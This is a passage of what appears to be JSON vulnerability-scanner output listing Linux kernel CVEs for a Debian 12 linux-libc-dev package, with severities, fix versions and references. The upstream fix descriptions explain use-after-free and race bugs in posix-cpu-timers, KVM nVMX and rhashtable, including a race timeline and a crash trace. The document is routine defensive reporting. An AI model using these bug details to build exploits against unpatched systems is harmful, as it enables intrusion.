"https://linux.oracle.com/cve/CVE-2026-64552.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072737-CVE-2026-64552-5e13@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64552", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64552" ], "PublishedDate": "2026-07-27T21:17:08.173Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64556", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64556", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3f46cadd64a1bce29d3cf1ddb3b1f4ea97751463e8cc5277ba2e881cfb97e7d0", "Title": "kernel: perf/core: Detach event groups during remove_on_exec", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nperf/core: Detach event groups during remove_on_exec\n\nperf_event_remove_on_exec() removes events by calling\nperf_event_exit_event(). For top-level events, this removes the event from\nthe context with DETACH_EXIT only.\n\nThis can leave inconsistent group state when a removed event is a group\nleader and the group contains siblings without remove_on_exec. If the group\nwas active, the surviving siblings can remain active and attached to the\nremoved leader's sibling list, but are no longer represented by a valid\ngroup leader on the PMU context active lists.\n\nA later close of the removed leader uses DETACH_GROUP and can promote the\nstill-active siblings from this stale group state. The next schedule-in can\nthen add an already-linked active_list entry again, corrupting the PMU\ncontext active list.\n\nWith DEBUG_LIST enabled, this is caught as a list_add double-add in\nmerge_sched_in().\n\nFix this by detaching group relationships when remove_on_exec removes an\nevent. This preserves the existing task-exit and revoke behavior, while\nensuring surviving siblings are ungrouped before the removed event leaves\nthe context.", "Severity": "HIGH", "CweIDs": [ "CWE-662" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://access.redhat.com/errata/RHSA-2026:72623", "https://access.redhat.com/security/cve/CVE-2026-64556", "https://bugzilla.redhat.com/2482104", "https://bugzilla.redhat.com/2487002", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2495938", "https://bugzilla.redhat.com/2502318", "https://bugzilla.redhat.com/2502494", "https://bugzilla.redhat.com/2508319", "https://bugzilla.redhat.com/2524423", "https://bugzilla.redhat.com/2524434", "https://bugzilla.redhat.com/show_bug.cgi?id=2482104", "https://bugzilla.redhat.com/show_bug.cgi?id=2487002", "https://bugzilla.redhat.com/show_bug.cgi?id=2492364", "https://bugzilla.redhat.com/show_bug.cgi?id=2495938", "https://bugzilla.redhat.com/show_bug.cgi?id=2502318", "https://bugzilla.redhat.com/show_bug.cgi?id=2502494", "https://bugzilla.redhat.com/show_bug.cgi?id=2508319", "https://bugzilla.redhat.com/show_bug.cgi?id=2524423", "https://bugzilla.redhat.com/show_bug.cgi?id=2524434", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45942", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46325", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52972", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53341", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63875", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64102", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64556", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74753", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80522", "https://errata.almalinux.org/9/ALSA-2026-72623.html", "https://errata.rockylinux.org/RLSA-2026:72623", "https://git.kernel.org/linus/037a3c43edfb597665dd34457cd22b14692f2ba3%20%287.2-rc2%29", "https://git.kernel.org/stable/c/037a3c43edfb597665dd34457cd22b14692f2ba3", "https://git.kernel.org/stable/c/06ccef0434e98058ddae7bcebc901f93d22b7653", "https://git.kernel.org/stable/c/1d3e1102273f09180262496658e7eeed8a5a7b59", "https://git.kernel.org/stable/c/39358e856fb89e62e3c8d7389a2dc4ec33dbe90e", "https://git.kernel.org/stable/c/4cdb1b3ab96eb1b7eb70bc5c82fede334bd60df2", "https://git.kernel.org/stable/c/a2d5d3ee7b6e3953114726b1521e62123ab5b043", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-f3wdgmc4bvkq.toml", "https://linux.oracle.com/cve/CVE-2026-64556.html", "https://linux.oracle.com/errata/ELSA-2026-72624.html", "https://lore.kernel.org/linux-cve-announce/2026072939-CVE-2026-64556-0f2c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64556", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64556" ], "PublishedDate": "2026-07-29T09:16:30.153Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64560", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64560", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bfbfda1583b8a9557423fd6042033eeaa2af1874937f9001c9d799a744fa0429", "Title": "kernel: posix-cpu-timers: Prevent UAF caused by non-leader exec() race", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nposix-cpu-timers: Prevent UAF caused by non-leader exec() race\n\nWongi and Jungwoo decoded and reported a non-leader exec() related race\nwhich can result in an UAF:\n\n sys_timer_delete()\t\t\texec()\n posix_cpu_timer_del()\n // Observes old leader\n p = pid_task(pid, pid_type);\t\tde_thread()\n \t\t\t\t\t switch_leader();\n\t\t\t\t\t release_task(old_leader)\n\t\t\t\t\t __exit_signal(old_leader)\n\t\t\t\t\t sighand = lock(old_leader, sighand);\n\t\t\t\t\t posix_cpu_timers*_exit();\n sighand = lock_task_sighand(p)\t unhash_task(old_leader);\n sh = lock(p, sighand)\t \t old_leader-\u003esighand = NULL;\n\t\t\t\t\t unlock(sighand);\n (p-\u003esighand == NULL)\n\tunlock(sh)\n\treturn NULL;\n\n // Returns without action\n if(!sighand)\n return 0;\n free_posix_timer();\n\nThis is \"harmless\" unless the deleted timer was armed and enqueued in\np-\u003esignal because on exec() a TGID targeted timer is inherited.\n\nAs sys_timer_delete() freed the underlying posix timer object\nrun_posix_cpu_timers() or any timerqueue related add/delete operations on\nother timers will access the freed object's timerqueue node, which results\nin an UAF.\n\nThere is a similar problem vs. posix_cpu_timer_set(). For regular posix\ntimers it just transiently returns -ESRCH to user space, but for the use\ncase in do_cpu_nanosleep() it's the same UAF just that the k_itimer is\nallocated on the stack.\n\nAlso posix_cpu_timer_rearm() fails to rearm the timer, which means it stops\nto expire.\n\nWhile debating solutions Frederic pointed out another problem:\n\n posix_cpu_timer_del(tmr)\n\t\t\t\t\t__exit_signal(p)\n\t\t\t\t\t posix_cpu_timers*_exit(p);\n\t\t\t\t\t unhash_task(p);\n\t\t\t\t\t p-\u003esighand = NULL;\n sh = lock_task_sighand(p)\n sighand = p-\u003esighand;\n\tif (!sighand)\n\t return NULL;\n\tlock(sighand);\n\n if (!sh)\n\tWARN_ON_ONCE(timer_queued(tmr));\n\nOn weakly ordered architectures it is not guaranteed that\nposix_cpu_timer_del() will observe the stores in posix_cpu_timers*_exit()\nwhen p-\u003esighand is observed as NULL, which means the WARN() can be a false\npositive.\n\nSolve these issues by:\n\n 1) Changing the store in __exit_signal() to smp_store_release().\n\n 2) Adding a smp_acquire__after_ctrl_dep() into the !sighand path\n of lock_task_sighand().\n\n 3) Creating a helper function for looking up the task and locking sighand\n which does not return when sighand == NULL. Instead it retries the\n task lookup and only if that fails it gives up.\n\n 4) Using that helper in the three affected functions.\n\n#1/#2 ensures that the reader side which observes sighand == NULL also\nobserves all preceeding stores, i.e. the stores in posix_cpu_timers*_exit()\nand the ones in unhash_task().\n\n#3 ensures that the above described non-leader exec() situation is handled\ngracefully. When the task lookup returns the old leader, but sighand ==\nNULL then it retries. In the non-leader exec() case the subsequent task\nlookup will observe the new leader due to #1/#2. In normal exit() scenarios\nthe subsequent lookup fails.\n\nWhen the task lookup fails, the function also checks whether the timer is\nstill enqueued and issues a warning if that's the case. Unfortunately there\nis nothing which can be done about it, but as the task is already not\nlonger visible the timer should not be accessed anymore. This check also\nrequires memory ordering, which is not provided when the first lookup\nfails. To achieve that the check is preceeded by a smp_rmb() which pairs\nwith the smp_wmb() in write_seqlock() in __exit_signal(). That ensures that\nthe stores in posix_cpu_timers*_exit() are visible.\n\nThe history of the non-leader exec() issue goes back to the early days of\nposix CPU timers, which stored a pointer to the group leader task in the\ntimer. That obviously fails when a non-leader exec() switches the leader.\ncommit e0a70217107e (\"posix-cpu-timers: workaround to suppress the problems\nwith mt exec\") added a temporary workaround for that in 2010 which surv\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-64560", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/920f893f735e92ba3a1cd9256899a186b161928d%20%287.2-rc3%29", "https://git.kernel.org/stable/c/12a891c773aeb5823d63dbd0cb2ab931d6c21c9b", "https://git.kernel.org/stable/c/67aa823e3e8c229c6d374df79c804f6721cb83b6", "https://git.kernel.org/stable/c/6a7ecc25abe6f0fecc6e62a05096987200edbd02", "https://git.kernel.org/stable/c/920f893f735e92ba3a1cd9256899a186b161928d", "https://git.kernel.org/stable/c/ad1cafa1bdaa71da85d71cac053838bbe97852b6", "https://git.kernel.org/stable/c/cc35ddbc497311e0b6b9a6a6a4f4d1217d6ab1aa", "https://git.kernel.org/stable/c/d8bcb28abad857f1415da7656f19b2ada90af04f", "https://git.kernel.org/stable/c/e74443f5db0037c556ef436fa64b88bf4ea08f83", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/8.0.0/BRSA-rej1p6cvzwb8.toml", "https://linux.oracle.com/cve/CVE-2026-64560.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026072908-CVE-2026-64560-3932@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64560", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64560" ], "PublishedDate": "2026-07-29T17:16:53.637Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64562", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64562", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:55520d4618f6f12fed2e3f4a9093e0617d3cb141d2418eaba7adb01a2344a502", "Title": "kernel: KVM: nVMX: Hide shadow VMCS right after VMCLEAR", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: nVMX: Hide shadow VMCS right after VMCLEAR\n\nfree_nested() frees the shadow VMCS while vmcs01 still points to it. But\nbecause it is asynchronous with respect to loaded_vmcs_clear(), the vCPU\nmight migrate before the pointer is cleared and __loaded_vmcs_clear()\nmay then execute VMCLEAR.\n\nThe VMCS needs to stay attached until its explicit VMCLEAR completes, but\nthen it can be hidden and the page safely freed.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 4, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64562", "https://git.kernel.org/linus/622ebfac01ba4f9c0060cebd41257fe46fc4a0b3%20%287.2-rc5%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-64562.mbox", "https://git.kernel.org/stable/c/1dabef6e206568bf9d9ade74f6e56a48ea35695d", "https://git.kernel.org/stable/c/4f50e6aec16f69627dbad5704d1e90a255d766a7", "https://git.kernel.org/stable/c/589419470030a89f16cf19300658b6dc644ca946", "https://git.kernel.org/stable/c/622ebfac01ba4f9c0060cebd41257fe46fc4a0b3", "https://git.kernel.org/stable/c/8001d2ce9d9bd09118ce523aef595aa094573ae3", "https://git.kernel.org/stable/c/af56298e9d86e6098cd1d2e155cb2949b7c45412", "https://git.kernel.org/stable/c/b82c3144d8264265448292ca406f60bafeba3b6f", "https://git.kernel.org/stable/c/dc3eecfa219ebc9d01eaf7d1abd1441efe884dab", "https://linux.oracle.com/cve/CVE-2026-64562.html", "https://linux.oracle.com/errata/ELSA-2026-500377.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-64562", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8887-1", "https://ubuntu.com/security/notices/USN-8887-2", "https://ubuntu.com/security/notices/USN-8887-3", "https://ubuntu.com/security/notices/USN-8888-1", "https://ubuntu.com/security/notices/USN-8888-2", "https://ubuntu.com/security/notices/USN-8889-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://ubuntu.com/security/notices/USN-9003-1", "https://www.cve.org/CVERecord?id=CVE-2026-64562" ], "PublishedDate": "2026-08-04T07:16:31.093Z", "LastModifiedDate": "2026-11-03T18:15:39.353Z" }, { "VulnerabilityID": "CVE-2026-64563", "VendorIDs": [ "DLA-4777-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.187-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64563", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0cbedef89ce8639315ca676de15ca470dbf01acd1abc76522325732745bf073c", "Title": "kernel: rhashtable: clear stale iter-\u003ep on table restart", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrhashtable: clear stale iter-\u003ep on table restart\n\nrhashtable_walk_start_check() has two restart paths when resuming a walk.\nWhen iter-\u003ewalker.tbl is valid, it re-validates iter-\u003ep against the table\nand sets iter-\u003ep = NULL if the object is gone. When iter-\u003ewalker.tbl is\nNULL (table was freed during resize), it resets slot and skip but forgets\nto clear iter-\u003ep.\n\nrhashtable_walk_next() then dereferences the stale iter-\u003ep, reading\nfreed memory. This is a use-after-free.\n\nAny caller that does multi-fragment rhashtable walks across\nwalk_stop/walk_start boundaries is affected. Concrete cases include\nnetlink_diag (__netlink_diag_dump in net/netlink/diag.c) and TIPC\n(tipc_nl_sk_walk in net/tipc/socket.c).\n\nCrash stack (netlink_diag):\n BUG: KASAN: slab-use-after-free in rhashtable_walk_next+0x365/0x3c0\n Read of size 8 at addr ffff88801a9d2438 (freed kmalloc-2k, offset 1080)\n Call Trace:\n rhashtable_walk_next+0x365/0x3c0 (lib/rhashtable.c:1016)\n __netlink_diag_dump+0x160/0x760 (net/netlink/diag.c:122)\n netlink_diag_dump+0xc2/0x240\n netlink_dump+0x5bc/0x1270\n netlink_recvmsg+0x7a3/0x980\n sock_recvmsg+0x1bc/0x200\n __sys_recvfrom+0x1d4/0x2c0", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:H", "V3Score": 7.3 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:66180", "https://access.redhat.com/security/cve/CVE-2026-64563", "https://bugzilla.redhat.com/2467065", "https://bugzilla.redhat.com/2468102", "https://bugzilla.redhat.com/2479812", "https://bugzilla.redhat.com/2481936", "https://bugzilla.redhat.com/2482566", "https://bugzilla.redhat.com/2484456", "https://bugzilla.redhat.com/2486463", "https://bugzilla.redhat.com/2486999", "https://bugzilla.redhat.com/2492329", "https://bugzilla.redhat.com/2492811", "https://bugzilla.redhat.com/2492841", "https://bugzilla.redhat.com/2501252", "https://bugzilla.redhat.com/2502394", "https://bugzilla.redhat.com/2510892", "https://bugzilla.redhat.com/2511932", "https://bugzilla.redhat.com/2516731", "https://bugzilla.redhat.com/2517046", "https://bugzilla.redhat.com/show_bug.cgi?id=2467065", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2479812", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2482566", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2486999", "https://bugzilla.redhat.com/show_bug.cgi?id=2492329", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2501252", "https://bugzilla.redhat.com/show_bug.cgi?id=2502394", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://bugzilla.redhat.com/show_bug.cgi?id=2516731", "https://bugzilla.redhat.com/show_bug.cgi?id=2517046", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43133", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43493", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46149", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46330", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53275", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53366", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64034", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64563", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64597", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72129", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74480", "https://errata.almalinux.org/9/ALSA-2026-66180.html", "https://errata.rockylinux.org/RLSA-2026:66180", "https://git.kernel.org/linus/8173f7e2ce67e6ca1d4763f3da14e5b01ce77456%20%287.2-rc5%29", "https://git.kernel.org/stable/c/042fda5c088015f18838e5c692659a7be60aeb26", "https://git.kernel.org/stable/c/0955b65c2b47c30b439e2cf1b1e375073aa0413a", "https://git.kernel.org/stable/c/3ff7c1dbf722cf3fa538672452ba182318e0fcc3", "https://git.kernel.org/stable/c/4169d9fb92f313ff8e7e83d733c1ecdcc93eebd3", "https://git.kernel.org/stable/c/8173f7e2ce67e6ca1d4763f3da14e5b01ce77456", "https://git.kernel.org/stable/c/a0406c40c6638c5ae50257db6297b2fba6c9ba16", "https://git.kernel.org/stable/c/ba510b5e9fe396497d31162acb579f210adfe6c8", "https://git.kernel.org/stable/c/c39643ad99fea749be50615550e8f0e6d6e60694", "https://linux.oracle.com/cve/CVE-2026-64563.html", "https://linux.oracle.com/errata/ELSA-2026-66180-0.html", "https://lore.kernel.org/linux-cve-announce/2026080404-CVE-2026-64563-9d7f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64563", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", 